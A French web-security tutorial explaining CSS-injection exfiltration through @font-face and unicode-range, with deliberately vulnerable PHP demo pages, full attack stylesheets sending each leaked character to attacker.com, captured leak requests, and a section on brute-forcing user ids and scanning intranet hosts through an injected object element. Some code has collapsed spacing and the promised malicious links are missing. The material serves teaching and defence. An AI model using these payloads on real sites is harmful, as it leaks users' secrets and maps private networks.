Les injections CSS - Règle @font-face et descripteur unicode
20 Novembre 2022
Dans cet article, l'exploitation de l'injection CSS ne va plus cibler le contenu des attributs HTML, mais le contenu des éléments HTML, avec certaines limitations toutefois.
Utilisation de la règle @font-face et du descripteur unicode
L'inconvénient de la méthode précédente est qu'elle ne permet pas de récupérer le contenu d'un élément HTML, mais seulement la valeur d'un attribut. L'utilisation de la règle @font-face peut permettre de contourner cette limitation.
Récupération d'information en fonction de l'élément HTML
Le code vulnérable suivant possède un élément HTML <span></span> ayant comme contenu une information sensible propre au visiteur :
<!DOCTYPEhtml><html> <head> <metacharset="utf-8"> <style>h1 {color:<?php echo htmlspecialchars($_GET['color'], ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5,"UTF-8") ?>; } </style> </head> <body> <h1>Injection CSS - récupération de la valeur d'un élément HTML via @font-face et descripteur unicode</h1> <span>s3cr3t</span> </body></html>
L'attaquant souhaite évidemment récupérer le contenu de l'élément <span></span> qui contient ce secret. Pour cela, il va utiliser la règle @font-face ainsi qu'un code unicode grâce au descripteur unicode-range représentant le caractère à tester. Il faudra également spécifier une URL distante permettant de récupérer le caractère identifié ainsi qu'une police d'écriture permettant de l'appliquer sur l'élément HTML ciblé :
GET /?leak=3 HTTP/1.1Host:attacker.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Referer:https://vulnerable.comConnection:close
Malheureusement, cette technique possède plusieurs limitations : il n'est pas possible de connaitre les caractères dupliqués (plusieurs caractères "3" dans l'exemple ci-dessus) ni l'ordre d'apparition de ces caractères.
Récupération en fonction de l'id
Dans l'exemple précédent, tous les éléments <span></span> seront analysés, il sera difficile pour l'attaquant d'identifier quel caractère provient de quel élément de la page vulnérable. Pour contourner cela, il est possible de cibler un attribut id :
<!DOCTYPEhtml><html> <head> <metacharset="utf-8"> <style>h1 {color:<?php echo htmlspecialchars($_GET['color'], ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5,"UTF-8") ?>; } </style> </head> <body> <h1>Injection CSS - récupération de la valeur d'un élément HTML par son id via @font-face et descripteur unicode</h1>
<spanid="secret">s3cr3t</span> </body></html>
En CSS le caractère # va permettre de sélectionner un attribut id spécifique :
<style>@font-face { // Nomdelapoliced'écriture (arbitraire)font-family:attack; // URLduserveurdel'attaquant // Permetdesavoirquelcaractèrea été récupérésrc:url(https://attacker.com/?leak=a); // Testdelaprésenceducaractèrespécifié enunicodeunicode-range:U+0061; } // Id ciblé par l'attaque#secret { // Appliquelapoliced'écriturefont-family:attack; }</style>
Le lien malicieux permettant l'exploitation en fonction de la valeur de l'attribut id est alors le suivant :
Attention à bien encoder les caractères "+" et "#" par leur équivalent URL encodée, respectivement "%2b" et %23".
GET /?leak=s HTTP/1.1Host:attacker.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Referer:https://vulnerable.comConnection:close
Récupération en fonction de la classe
De la même façon, il est possible de cibler un attribut class au lieu d'un attribut id :
<!DOCTYPEhtml><html> <head> <metacharset="utf-8"> <style>h1 {color:<?php echo htmlspecialchars($_GET['color'], ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5,"UTF-8") ?>; } </style> </head> <body> <h1>Injection CSS - récupération de la valeur d'un élément HTML par sa class via @font-face et descripteur unicode</h1>
<spanclass="secret">s3cr3t</span> </body></html>
Ici, c'est le caractère . qui va permettre de sélectionner l'attribut class désiré :
<style>@font-face { // Nomdelapoliced'écriture (arbitraire)font-family:attack; // URLduserveurdel'attaquant // Permetdesavoirquelcaractèrea été récupérésrc:url(https://attacker.com/?leak=a); // Testdelaprésenceducaractèrespécifié enunicodeunicode-range:U+0061; } // Class ciblée par l'attaque.secret { // Appliquelapoliced'écriturefont-family:attack; }</style>
Le lien malicieux permettant l'exploitation en fonction de la valeur de l'attribut class est alors le suivant :
Attention à bien encoder le caractère "+" par son équivalent URL encodée "%2b".
GET /?leak=s HTTP/1.1Host:attacker.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Referer:https://vulnerable.comConnection:close
Dans le cas où il existe plusieurs éléments HTML portant le nom de class, il est possible de cibler précisément celle désirée en utilisant la pseudo-classe CSS nth-child(n) (https://developer.mozilla.org/fr/docs/Web/CSS/:nth-child) :
<!DOCTYPEhtml><html> <head> <metacharset="utf-8"> <style>h1 {color:<?php echo htmlspecialchars($_GET['color'], ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5,"UTF-8") ?>; } </style> </head> <body> <h1>Injection CSS - récupération de la valeur d'un élément HTML par sa class via @font-face, descripteur unicode et nth-child()</h1>
<spanclass="secret">notImportant</span> <spanclass="secret">s3cr3t</span> </body></html>
L'ajout de la pseudo-class nth-child() va permettre de sélectionner seulement le second élément HTML ayant l'attribut class désiré :
<style>@font-face { // Nomdelapoliced'écriture (arbitraire)font-family:attack; // URLduserveurdel'attaquant // Permetdesavoirquelcaractèrea été récupérésrc:url(https://attacker.com/?leak=a); // Testdelaprésenceducaractèrespécifié enunicodeunicode-range:U+0061; } // S'applique pour le troisième fils et ayant la Class ciblée par l'attaque.secret:nth-child(3) { // Appliquelapoliced'écriturefont-family:attack; }</style>
Le lien malicieux permettant l'exploitation en fonction de la valeur de l'attribut class ainsi que de la position de l'élément ciblé est alors le suivant :
Attention à bien encoder le caractère "+" par son équivalent URL encodée "%2b".
GET /?leak=s HTTP/1.1Host:attacker.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Referer:https://vulnerable.comConnection:close
Récupération du contenu d'une balise <script></script>
En temps normal, il n'est pas possible de récupérer de l'information contenue dans une balise <script></script>:
<!DOCTYPEhtml><html> <head> <metacharset="utf-8"> <style>h1 {color:<?php echo htmlspecialchars($_GET['color'], ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5,"UTF-8") ?>; } </style> </head> <body> <h1>Injection CSS - récupération de la valeur d'un élément HTML <script> via @font-face et descripteur unicode</h1>
<script>var key ="s3cr3t"; </script> </body></html>
La raison est que le texte contenu dans ces balises n'est pas affiché et ne déclenche jamais les règles de style utilisées par l'attaque.
Pour contourner cela, il est possible d'ajouter l'instruction CSS diplay:block au niveau des balises de script :
script {display:block;}
Cela a pour effet de faire apparaitre le contenu de la balise et ainsi déclencher la règle CSS @font-face (la victime pourra également voir le contenu pendant l'exploitation) :
Le code CSS complet est le suivant :
<style>@font-face { // Nomdelapoliced'écriture (arbitraire)font-family:attack; // URLduserveurdel'attaquant // Permetdesavoirquelcaractèrea été récupérésrc:url(https://attacker.com/?leak=a); // Testdelaprésenceducaractèrespécifié enunicodeunicode-range:U+0061; } // S'applique pour les balises scriptscript { // Permetd'affichersoncontenudiplay:block; // Appliquelapoliced'écriturefont-family:attack; }</style>
Le lien malicieux permettant l'exploitation avec la nouvelle instruction CSS devient :
Attention à bien encoder le caractère "+" par son équivalent URL encodée "%2b".
GET /?leak=s HTTP/1.1Host:attacker.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Referer:https://vulnerable.comConnection:close
Bien sur, ici l'attaquant va également récupérer les caractères composants les mots clés de Javascript, par exemple "var" ici.
Automatisation de l'attaque
L'attaque étant limitée (il est seulement possible de savoir si un caractère est présent ou non) l'exploitation par injection d'iframe effectuée pour les sélecteurs CSS n'est pas obligatoire. Afin de déterminer la présence de caractères alphanumériques (non sensibles à la casse) le partage d'un seul lien malicieux peut être suffisant.
Exemple de 5 requêtes représentant l'information "s3cr3t" récupérée :
<h1>Injection CSS - récupération de la valeur d'un élément HTML via @font-face et descripteur unicode</h1><spanid="secret">s3cr3t</span>
Scanner des services et des ressources
Si l'attaquant est également en mesure de contrôler un élément HTML tel qu'un <object></object>, il devient alors possible de scanner des services réseaux ainsi que des ressources HTTP. Le code vulnérable utilisé dans les prochains exemples est le suivant :
L'élément HTML <object></object> va afficher le contenu récupéré en requêtant l'URL de l'attribut data:
Si aucune information n'est récupérée (hôte non joignable, ressource non trouvée, etc) le texte alternatif Error sera alors affiché à l'utilisateur :
En analysant le site vulnérable, l'attaquant identifie un endpoint contenant l'identifiant de l'utilisateur actuel : http://vulnerable.com/users.php?id={id}. Pour l'attaquant, l'URL est http://vulnerable.com/users.php?id=967344. Afin d'exploiter une seconde vulnérabilité plus sévère, il souhaite connaitre l'identifiant de sa victime.
Pour cela, il va tout d'abord exploiter l'injection CSS et utiliser l'élément HTML <object></object>. Le style à appliquer sera le suivant :
La première tentative va être l'identifiant 1. Si ce n'est pas celui de la victime alors l'attaquant recevra une requête en retour. Le lien malicieux à envoyer à la victime pour cette attaque est le suivant :
Attention à bien encoder les caractères "+" et "#" par leur équivalent URL encodée, respectivement "%2b" et %23".
GET /?leak=1 HTTP/1.1Host:attacker.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Referer:https://vulnerable.comConnection:close
Il faut donc continuer l'attaque jusqu'à deviner l'identifiant et qu'aucune requête ne soit reçue par l'attaquant.
Cette technique rend également possible de scanner des hôtes (adresse IP ou nom de domaine) pouvant répondre à une requête HTTP. Ici, l'attaquant souhaite par exemple savoir si un serveur HTTP est accessible sur l'intranet de la victime :